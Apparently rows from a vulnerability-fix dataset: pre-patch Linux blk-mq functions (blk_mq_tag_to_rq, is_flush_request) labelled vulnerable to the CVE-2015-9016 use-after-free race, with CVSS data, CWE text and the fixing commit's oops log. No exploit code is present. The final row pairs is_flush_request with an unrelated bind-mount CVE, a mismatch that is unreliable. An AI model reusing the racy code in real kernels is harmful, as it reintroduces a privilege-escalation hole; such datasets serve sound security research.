struct request *blk_mq_tag_to_rq(struct blk_mq_tags *tags, unsigned int tag) { struct request *rq = tags->rqs[tag]; /* mq_ctx of flush rq is always cloned from the corresponding req */ struct blk_flush_queue *fq = blk_get_flush_queue(rq->q, rq->mq_ctx); if (!is_flush_request(rq, fq, tag)) return rq; return fq->flush_rq; }
61
True
1
CVE-2015-9016
False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
LOCAL
HIGH
LOW
NONE
UNCHANGED
HIGH
HIGH
HIGH
7.0
HIGH
1.0
5.9
nan
[{'url': 'https://source.android.com/security/bulletin/2018-02-01', 'name': 'https://source.android.com/security/bulletin/2018-02-01', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://github.com/torvalds/linux/commit/0048b4837affd153897ed1222283492070027aa9', 'name': 'https://github.com/torvalds/linux/commit/0048b4837affd153897ed1222283492070027aa9', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://www.debian.org/security/2018/dsa-4187', 'name': 'DSA-4187', 'refsource': 'DEBIAN', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-264'}, {'lang': 'en', 'value': 'CWE-362'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:google:android:-:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'In blk_mq_tag_to_rq in blk-mq.c in the upstream kernel, there is a possible use after free due to a race condition when a request has been previously freed by blk_mq_complete_request. This could lead to local escalation of privilege. Product: Android. Versions: Android kernel. Android ID: A-63083046.'}]
2018-05-03T01:29Z
2018-04-05T18:29Z
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider. A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc. A race condition violates these properties, which are closely related: Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution. Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource. A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x). The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.
https://cwe.mitre.org/data/definitions/362.html
0
Ming Lei
2015-08-09 03:41:51-04:00
blk-mq: fix race between timeout and freeing request Inside timeout handler, blk_mq_tag_to_rq() is called to retrieve the request from one tag. This way is obviously wrong because the request can be freed any time and some fiedds of the request can't be trusted, then kernel oops might be triggered[1]. Currently wrt. blk_mq_tag_to_rq(), the only special case is that the flush request can share same tag with the request cloned from, and the two requests can't be active at the same time, so this patch fixes the above issue by updating tags->rqs[tag] with the active request(either flush rq or the request cloned from) of the tag. Also blk_mq_tag_to_rq() gets much simplified with this patch. Given blk_mq_tag_to_rq() is mainly for drivers and the caller must make sure the request can't be freed, so in bt_for_each() this helper is replaced with tags->rqs[tag]. [1] kernel oops log [ 439.696220] BUG: unable to handle kernel NULL pointer dereference at 0000000000000158^M [ 439.697162] IP: [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.700653] PGD 7ef765067 PUD 7ef764067 PMD 0 ^M [ 439.700653] Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC ^M [ 439.700653] Dumping ftrace buffer:^M [ 439.700653] (ftrace buffer empty)^M [ 439.700653] Modules linked in: nbd ipv6 kvm_intel kvm serio_raw^M [ 439.700653] CPU: 6 PID: 2779 Comm: stress-ng-sigfd Not tainted 4.2.0-rc5-next-20150805+ #265^M [ 439.730500] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011^M [ 439.730500] task: ffff880605308000 ti: ffff88060530c000 task.ti: ffff88060530c000^M [ 439.730500] RIP: 0010:[<ffffffff812d89ba>] [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.730500] RSP: 0018:ffff880819203da0 EFLAGS: 00010283^M [ 439.730500] RAX: ffff880811b0e000 RBX: ffff8800bb465f00 RCX: 0000000000000002^M [ 439.730500] RDX: 0000000000000000 RSI: 0000000000000202 RDI: 0000000000000000^M [ 439.730500] RBP: ffff880819203db0 R08: 0000000000000002 R09: 0000000000000000^M [ 439.730500] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000202^M [ 439.730500] R13: ffff880814104800 R14: 0000000000000002 R15: ffff880811a2ea00^M [ 439.730500] FS: 00007f165b3f5740(0000) GS:ffff880819200000(0000) knlGS:0000000000000000^M [ 439.730500] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b^M [ 439.730500] CR2: 0000000000000158 CR3: 00000007ef766000 CR4: 00000000000006e0^M [ 439.730500] Stack:^M [ 439.730500] 0000000000000008 ffff8808114eed90 ffff880819203e00 ffffffff812dc104^M [ 439.755663] ffff880819203e40 ffffffff812d9f5e 0000020000000000 ffff8808114eed80^M [ 439.755663] Call Trace:^M [ 439.755663] <IRQ> ^M [ 439.755663] [<ffffffff812dc104>] bt_for_each+0x6e/0xc8^M [ 439.755663] [<ffffffff812d9f5e>] ? blk_mq_rq_timed_out+0x6a/0x6a^M [ 439.755663] [<ffffffff812d9f5e>] ? blk_mq_rq_timed_out+0x6a/0x6a^M [ 439.755663] [<ffffffff812dc1b3>] blk_mq_tag_busy_iter+0x55/0x5e^M [ 439.755663] [<ffffffff812d88b4>] ? blk_mq_bio_to_request+0x38/0x38^M [ 439.755663] [<ffffffff812d8911>] blk_mq_rq_timer+0x5d/0xd4^M [ 439.755663] [<ffffffff810a3e10>] call_timer_fn+0xf7/0x284^M [ 439.755663] [<ffffffff810a3d1e>] ? call_timer_fn+0x5/0x284^M [ 439.755663] [<ffffffff812d88b4>] ? blk_mq_bio_to_request+0x38/0x38^M [ 439.755663] [<ffffffff810a46d6>] run_timer_softirq+0x1ce/0x1f8^M [ 439.755663] [<ffffffff8104c367>] __do_softirq+0x181/0x3a4^M [ 439.755663] [<ffffffff8104c76e>] irq_exit+0x40/0x94^M [ 439.755663] [<ffffffff81031482>] smp_apic_timer_interrupt+0x33/0x3e^M [ 439.755663] [<ffffffff815559a4>] apic_timer_interrupt+0x84/0x90^M [ 439.755663] <EOI> ^M [ 439.755663] [<ffffffff81554350>] ? _raw_spin_unlock_irq+0x32/0x4a^M [ 439.755663] [<ffffffff8106a98b>] finish_task_switch+0xe0/0x163^M [ 439.755663] [<ffffffff8106a94d>] ? finish_task_switch+0xa2/0x163^M [ 439.755663] [<ffffffff81550066>] __schedule+0x469/0x6cd^M [ 439.755663] [<ffffffff8155039b>] schedule+0x82/0x9a^M [ 439.789267] [<ffffffff8119b28b>] signalfd_read+0x186/0x49a^M [ 439.790911] [<ffffffff8106d86a>] ? wake_up_q+0x47/0x47^M [ 439.790911] [<ffffffff811618c2>] __vfs_read+0x28/0x9f^M [ 439.790911] [<ffffffff8117a289>] ? __fget_light+0x4d/0x74^M [ 439.790911] [<ffffffff811620a7>] vfs_read+0x7a/0xc6^M [ 439.790911] [<ffffffff8116292b>] SyS_read+0x49/0x7f^M [ 439.790911] [<ffffffff81554c17>] entry_SYSCALL_64_fastpath+0x12/0x6f^M [ 439.790911] Code: 48 89 e5 e8 a9 b8 e7 ff 5d c3 0f 1f 44 00 00 55 89 f2 48 89 e5 41 54 41 89 f4 53 48 8b 47 60 48 8b 1c d0 48 8b 7b 30 48 8b 53 38 <48> 8b 87 58 01 00 00 48 85 c0 75 09 48 8b 97 88 0c 00 00 eb 10 ^M [ 439.790911] RIP [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.790911] RSP <ffff880819203da0>^M [ 439.790911] CR2: 0000000000000158^M [ 439.790911] ---[ end trace d40af58949325661 ]---^M Cc: <[email protected]> Signed-off-by: Ming Lei <[email protected]> Signed-off-by: Jens Axboe <[email protected]>
0048b4837affd153897ed1222283492070027aa9
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
blk_mq_tag_to_rq
blk_mq_tag_to_rq( struct blk_mq_tags * tags , unsigned int tag)
['tags', 'tag']
struct request *blk_mq_tag_to_rq(struct blk_mq_tags *tags, unsigned int tag) { struct request *rq = tags->rqs[tag]; /* mq_ctx of flush rq is always cloned from the corresponding req */ struct blk_flush_queue *fq = blk_get_flush_queue(rq->q, rq->mq_ctx); if (!is_flush_request(rq, fq, tag)) return rq; return fq->flush_rq; }
61
True
1
CVE-2015-9016
False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
LOCAL
HIGH
LOW
NONE
UNCHANGED
HIGH
HIGH
HIGH
7.0
HIGH
1.0
5.9
nan
[{'url': 'https://source.android.com/security/bulletin/2018-02-01', 'name': 'https://source.android.com/security/bulletin/2018-02-01', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://github.com/torvalds/linux/commit/0048b4837affd153897ed1222283492070027aa9', 'name': 'https://github.com/torvalds/linux/commit/0048b4837affd153897ed1222283492070027aa9', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://www.debian.org/security/2018/dsa-4187', 'name': 'DSA-4187', 'refsource': 'DEBIAN', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-264'}, {'lang': 'en', 'value': 'CWE-362'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:google:android:-:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'In blk_mq_tag_to_rq in blk-mq.c in the upstream kernel, there is a possible use after free due to a race condition when a request has been previously freed by blk_mq_complete_request. This could lead to local escalation of privilege. Product: Android. Versions: Android kernel. Android ID: A-63083046.'}]
2018-05-03T01:29Z
2018-04-05T18:29Z
Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
https://cwe.mitre.org/data/definitions/264.html
1
Ming Lei
2015-08-09 03:41:51-04:00
blk-mq: fix race between timeout and freeing request Inside timeout handler, blk_mq_tag_to_rq() is called to retrieve the request from one tag. This way is obviously wrong because the request can be freed any time and some fiedds of the request can't be trusted, then kernel oops might be triggered[1]. Currently wrt. blk_mq_tag_to_rq(), the only special case is that the flush request can share same tag with the request cloned from, and the two requests can't be active at the same time, so this patch fixes the above issue by updating tags->rqs[tag] with the active request(either flush rq or the request cloned from) of the tag. Also blk_mq_tag_to_rq() gets much simplified with this patch. Given blk_mq_tag_to_rq() is mainly for drivers and the caller must make sure the request can't be freed, so in bt_for_each() this helper is replaced with tags->rqs[tag]. [1] kernel oops log [ 439.696220] BUG: unable to handle kernel NULL pointer dereference at 0000000000000158^M [ 439.697162] IP: [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.700653] PGD 7ef765067 PUD 7ef764067 PMD 0 ^M [ 439.700653] Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC ^M [ 439.700653] Dumping ftrace buffer:^M [ 439.700653] (ftrace buffer empty)^M [ 439.700653] Modules linked in: nbd ipv6 kvm_intel kvm serio_raw^M [ 439.700653] CPU: 6 PID: 2779 Comm: stress-ng-sigfd Not tainted 4.2.0-rc5-next-20150805+ #265^M [ 439.730500] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011^M [ 439.730500] task: ffff880605308000 ti: ffff88060530c000 task.ti: ffff88060530c000^M [ 439.730500] RIP: 0010:[<ffffffff812d89ba>] [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.730500] RSP: 0018:ffff880819203da0 EFLAGS: 00010283^M [ 439.730500] RAX: ffff880811b0e000 RBX: ffff8800bb465f00 RCX: 0000000000000002^M [ 439.730500] RDX: 0000000000000000 RSI: 0000000000000202 RDI: 0000000000000000^M [ 439.730500] RBP: ffff880819203db0 R08: 0000000000000002 R09: 0000000000000000^M [ 439.730500] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000202^M [ 439.730500] R13: ffff880814104800 R14: 0000000000000002 R15: ffff880811a2ea00^M [ 439.730500] FS: 00007f165b3f5740(0000) GS:ffff880819200000(0000) knlGS:0000000000000000^M [ 439.730500] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b^M [ 439.730500] CR2: 0000000000000158 CR3: 00000007ef766000 CR4: 00000000000006e0^M [ 439.730500] Stack:^M [ 439.730500] 0000000000000008 ffff8808114eed90 ffff880819203e00 ffffffff812dc104^M [ 439.755663] ffff880819203e40 ffffffff812d9f5e 0000020000000000 ffff8808114eed80^M [ 439.755663] Call Trace:^M [ 439.755663] <IRQ> ^M [ 439.755663] [<ffffffff812dc104>] bt_for_each+0x6e/0xc8^M [ 439.755663] [<ffffffff812d9f5e>] ? blk_mq_rq_timed_out+0x6a/0x6a^M [ 439.755663] [<ffffffff812d9f5e>] ? blk_mq_rq_timed_out+0x6a/0x6a^M [ 439.755663] [<ffffffff812dc1b3>] blk_mq_tag_busy_iter+0x55/0x5e^M [ 439.755663] [<ffffffff812d88b4>] ? blk_mq_bio_to_request+0x38/0x38^M [ 439.755663] [<ffffffff812d8911>] blk_mq_rq_timer+0x5d/0xd4^M [ 439.755663] [<ffffffff810a3e10>] call_timer_fn+0xf7/0x284^M [ 439.755663] [<ffffffff810a3d1e>] ? call_timer_fn+0x5/0x284^M [ 439.755663] [<ffffffff812d88b4>] ? blk_mq_bio_to_request+0x38/0x38^M [ 439.755663] [<ffffffff810a46d6>] run_timer_softirq+0x1ce/0x1f8^M [ 439.755663] [<ffffffff8104c367>] __do_softirq+0x181/0x3a4^M [ 439.755663] [<ffffffff8104c76e>] irq_exit+0x40/0x94^M [ 439.755663] [<ffffffff81031482>] smp_apic_timer_interrupt+0x33/0x3e^M [ 439.755663] [<ffffffff815559a4>] apic_timer_interrupt+0x84/0x90^M [ 439.755663] <EOI> ^M [ 439.755663] [<ffffffff81554350>] ? _raw_spin_unlock_irq+0x32/0x4a^M [ 439.755663] [<ffffffff8106a98b>] finish_task_switch+0xe0/0x163^M [ 439.755663] [<ffffffff8106a94d>] ? finish_task_switch+0xa2/0x163^M [ 439.755663] [<ffffffff81550066>] __schedule+0x469/0x6cd^M [ 439.755663] [<ffffffff8155039b>] schedule+0x82/0x9a^M [ 439.789267] [<ffffffff8119b28b>] signalfd_read+0x186/0x49a^M [ 439.790911] [<ffffffff8106d86a>] ? wake_up_q+0x47/0x47^M [ 439.790911] [<ffffffff811618c2>] __vfs_read+0x28/0x9f^M [ 439.790911] [<ffffffff8117a289>] ? __fget_light+0x4d/0x74^M [ 439.790911] [<ffffffff811620a7>] vfs_read+0x7a/0xc6^M [ 439.790911] [<ffffffff8116292b>] SyS_read+0x49/0x7f^M [ 439.790911] [<ffffffff81554c17>] entry_SYSCALL_64_fastpath+0x12/0x6f^M [ 439.790911] Code: 48 89 e5 e8 a9 b8 e7 ff 5d c3 0f 1f 44 00 00 55 89 f2 48 89 e5 41 54 41 89 f4 53 48 8b 47 60 48 8b 1c d0 48 8b 7b 30 48 8b 53 38 <48> 8b 87 58 01 00 00 48 85 c0 75 09 48 8b 97 88 0c 00 00 eb 10 ^M [ 439.790911] RIP [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.790911] RSP <ffff880819203da0>^M [ 439.790911] CR2: 0000000000000158^M [ 439.790911] ---[ end trace d40af58949325661 ]---^M Cc: <[email protected]> Signed-off-by: Ming Lei <[email protected]> Signed-off-by: Jens Axboe <[email protected]>
0048b4837affd153897ed1222283492070027aa9
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
is_flush_request
is_flush_request( struct request * rq , struct blk_flush_queue * fq , unsigned int tag)
['rq', 'fq', 'tag']
static inline bool is_flush_request(struct request *rq, struct blk_flush_queue *fq, unsigned int tag) { return ((rq->cmd_flags & REQ_FLUSH_SEQ) && fq->flush_rq->tag == tag); }
37
True
1
CVE-2015-9016
False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
LOCAL
HIGH
LOW
NONE
UNCHANGED
HIGH
HIGH
HIGH
7.0
HIGH
1.0
5.9
nan
[{'url': 'https://source.android.com/security/bulletin/2018-02-01', 'name': 'https://source.android.com/security/bulletin/2018-02-01', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://github.com/torvalds/linux/commit/0048b4837affd153897ed1222283492070027aa9', 'name': 'https://github.com/torvalds/linux/commit/0048b4837affd153897ed1222283492070027aa9', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://www.debian.org/security/2018/dsa-4187', 'name': 'DSA-4187', 'refsource': 'DEBIAN', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-264'}, {'lang': 'en', 'value': 'CWE-362'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:google:android:-:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'In blk_mq_tag_to_rq in blk-mq.c in the upstream kernel, there is a possible use after free due to a race condition when a request has been previously freed by blk_mq_complete_request. This could lead to local escalation of privilege. Product: Android. Versions: Android kernel. Android ID: A-63083046.'}]
2018-05-03T01:29Z
2018-04-05T18:29Z
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider. A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc. A race condition violates these properties, which are closely related: Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution. Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource. A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x). The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.
https://cwe.mitre.org/data/definitions/362.html
0
Ming Lei
2015-08-09 03:41:51-04:00
blk-mq: fix race between timeout and freeing request Inside timeout handler, blk_mq_tag_to_rq() is called to retrieve the request from one tag. This way is obviously wrong because the request can be freed any time and some fiedds of the request can't be trusted, then kernel oops might be triggered[1]. Currently wrt. blk_mq_tag_to_rq(), the only special case is that the flush request can share same tag with the request cloned from, and the two requests can't be active at the same time, so this patch fixes the above issue by updating tags->rqs[tag] with the active request(either flush rq or the request cloned from) of the tag. Also blk_mq_tag_to_rq() gets much simplified with this patch. Given blk_mq_tag_to_rq() is mainly for drivers and the caller must make sure the request can't be freed, so in bt_for_each() this helper is replaced with tags->rqs[tag]. [1] kernel oops log [ 439.696220] BUG: unable to handle kernel NULL pointer dereference at 0000000000000158^M [ 439.697162] IP: [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.700653] PGD 7ef765067 PUD 7ef764067 PMD 0 ^M [ 439.700653] Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC ^M [ 439.700653] Dumping ftrace buffer:^M [ 439.700653] (ftrace buffer empty)^M [ 439.700653] Modules linked in: nbd ipv6 kvm_intel kvm serio_raw^M [ 439.700653] CPU: 6 PID: 2779 Comm: stress-ng-sigfd Not tainted 4.2.0-rc5-next-20150805+ #265^M [ 439.730500] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011^M [ 439.730500] task: ffff880605308000 ti: ffff88060530c000 task.ti: ffff88060530c000^M [ 439.730500] RIP: 0010:[<ffffffff812d89ba>] [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.730500] RSP: 0018:ffff880819203da0 EFLAGS: 00010283^M [ 439.730500] RAX: ffff880811b0e000 RBX: ffff8800bb465f00 RCX: 0000000000000002^M [ 439.730500] RDX: 0000000000000000 RSI: 0000000000000202 RDI: 0000000000000000^M [ 439.730500] RBP: ffff880819203db0 R08: 0000000000000002 R09: 0000000000000000^M [ 439.730500] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000202^M [ 439.730500] R13: ffff880814104800 R14: 0000000000000002 R15: ffff880811a2ea00^M [ 439.730500] FS: 00007f165b3f5740(0000) GS:ffff880819200000(0000) knlGS:0000000000000000^M [ 439.730500] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b^M [ 439.730500] CR2: 0000000000000158 CR3: 00000007ef766000 CR4: 00000000000006e0^M [ 439.730500] Stack:^M [ 439.730500] 0000000000000008 ffff8808114eed90 ffff880819203e00 ffffffff812dc104^M [ 439.755663] ffff880819203e40 ffffffff812d9f5e 0000020000000000 ffff8808114eed80^M [ 439.755663] Call Trace:^M [ 439.755663] <IRQ> ^M [ 439.755663] [<ffffffff812dc104>] bt_for_each+0x6e/0xc8^M [ 439.755663] [<ffffffff812d9f5e>] ? blk_mq_rq_timed_out+0x6a/0x6a^M [ 439.755663] [<ffffffff812d9f5e>] ? blk_mq_rq_timed_out+0x6a/0x6a^M [ 439.755663] [<ffffffff812dc1b3>] blk_mq_tag_busy_iter+0x55/0x5e^M [ 439.755663] [<ffffffff812d88b4>] ? blk_mq_bio_to_request+0x38/0x38^M [ 439.755663] [<ffffffff812d8911>] blk_mq_rq_timer+0x5d/0xd4^M [ 439.755663] [<ffffffff810a3e10>] call_timer_fn+0xf7/0x284^M [ 439.755663] [<ffffffff810a3d1e>] ? call_timer_fn+0x5/0x284^M [ 439.755663] [<ffffffff812d88b4>] ? blk_mq_bio_to_request+0x38/0x38^M [ 439.755663] [<ffffffff810a46d6>] run_timer_softirq+0x1ce/0x1f8^M [ 439.755663] [<ffffffff8104c367>] __do_softirq+0x181/0x3a4^M [ 439.755663] [<ffffffff8104c76e>] irq_exit+0x40/0x94^M [ 439.755663] [<ffffffff81031482>] smp_apic_timer_interrupt+0x33/0x3e^M [ 439.755663] [<ffffffff815559a4>] apic_timer_interrupt+0x84/0x90^M [ 439.755663] <EOI> ^M [ 439.755663] [<ffffffff81554350>] ? _raw_spin_unlock_irq+0x32/0x4a^M [ 439.755663] [<ffffffff8106a98b>] finish_task_switch+0xe0/0x163^M [ 439.755663] [<ffffffff8106a94d>] ? finish_task_switch+0xa2/0x163^M [ 439.755663] [<ffffffff81550066>] __schedule+0x469/0x6cd^M [ 439.755663] [<ffffffff8155039b>] schedule+0x82/0x9a^M [ 439.789267] [<ffffffff8119b28b>] signalfd_read+0x186/0x49a^M [ 439.790911] [<ffffffff8106d86a>] ? wake_up_q+0x47/0x47^M [ 439.790911] [<ffffffff811618c2>] __vfs_read+0x28/0x9f^M [ 439.790911] [<ffffffff8117a289>] ? __fget_light+0x4d/0x74^M [ 439.790911] [<ffffffff811620a7>] vfs_read+0x7a/0xc6^M [ 439.790911] [<ffffffff8116292b>] SyS_read+0x49/0x7f^M [ 439.790911] [<ffffffff81554c17>] entry_SYSCALL_64_fastpath+0x12/0x6f^M [ 439.790911] Code: 48 89 e5 e8 a9 b8 e7 ff 5d c3 0f 1f 44 00 00 55 89 f2 48 89 e5 41 54 41 89 f4 53 48 8b 47 60 48 8b 1c d0 48 8b 7b 30 48 8b 53 38 <48> 8b 87 58 01 00 00 48 85 c0 75 09 48 8b 97 88 0c 00 00 eb 10 ^M [ 439.790911] RIP [<ffffffff812d89ba>] blk_mq_tag_to_rq+0x21/0x6e^M [ 439.790911] RSP <ffff880819203da0>^M [ 439.790911] CR2: 0000000000000158^M [ 439.790911] ---[ end trace d40af58949325661 ]---^M Cc: <[email protected]> Signed-off-by: Ming Lei <[email protected]> Signed-off-by: Jens Axboe <[email protected]>
0048b4837affd153897ed1222283492070027aa9
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
is_flush_request
is_flush_request( struct request * rq , struct blk_flush_queue * fq , unsigned int tag)
['rq', 'fq', 'tag']
static inline bool is_flush_request(struct request *rq, struct blk_flush_queue *fq, unsigned int tag) { return ((rq->cmd_flags & REQ_FLUSH_SEQ) && fq->flush_rq->tag == tag); }
37
True
1
CVE-2015-2925
False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=cde93be45a8a90d8c264c776fab63487b5038a65', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=cde93be45a8a90d8c264c776fab63487b5038a65', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'https://github.com/torvalds/linux/commit/397d425dc26da728396e66d392d5dcb8dac30c37', 'name': 'https://github.com/torvalds/linux/commit/397d425dc26da728396e66d392d5dcb8dac30c37', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'https://github.com/torvalds/linux/commit/cde93be45a8a90d8c264c776fab63487b5038a65', 'name': 'https://github.com/torvalds/linux/commit/cde93be45a8a90d8c264c776fab63487b5038a65', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://www.openwall.com/lists/oss-security/2015/04/04/4', 'name': '[oss-security] 20150404 Re: Linux namespaces: It is possible to escape from bind mounts', 'refsource': 'MLIST', 'tags': []}, {'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.2.4', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.2.4', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1209367', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1209367', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://permalink.gmane.org/gmane.linux.kernel.containers/29173', 'name': '[containers] 20150403 [PATCH review 17/19] vfs: Test for and handle paths that are unreachable from their mnt_root', 'refsource': 'MLIST', 'tags': []}, {'url': 'http://pkgs.fedoraproject.org/cgit/kernel.git/commit/?h=f22&id=520b64102de2f184036024b2a53de2b67463bd78', 'name': 'http://pkgs.fedoraproject.org/cgit/kernel.git/commit/?h=f22&id=520b64102de2f184036024b2a53de2b67463bd78', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1209373', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1209373', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=397d425dc26da728396e66d392d5dcb8dac30c37', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=397d425dc26da728396e66d392d5dcb8dac30c37', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://permalink.gmane.org/gmane.linux.kernel.containers/29177', 'name': '[containers] 20150403 [PATCH review 19/19] vfs: Do not allow escaping from bind mounts.', 'refsource': 'MLIST', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/73926', 'name': '73926', 'refsource': 'BID', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-02/msg00017.html', 'name': 'SUSE-SU-2016:0380', 'refsource': 'SUSE', 'tags': []}, {'url': 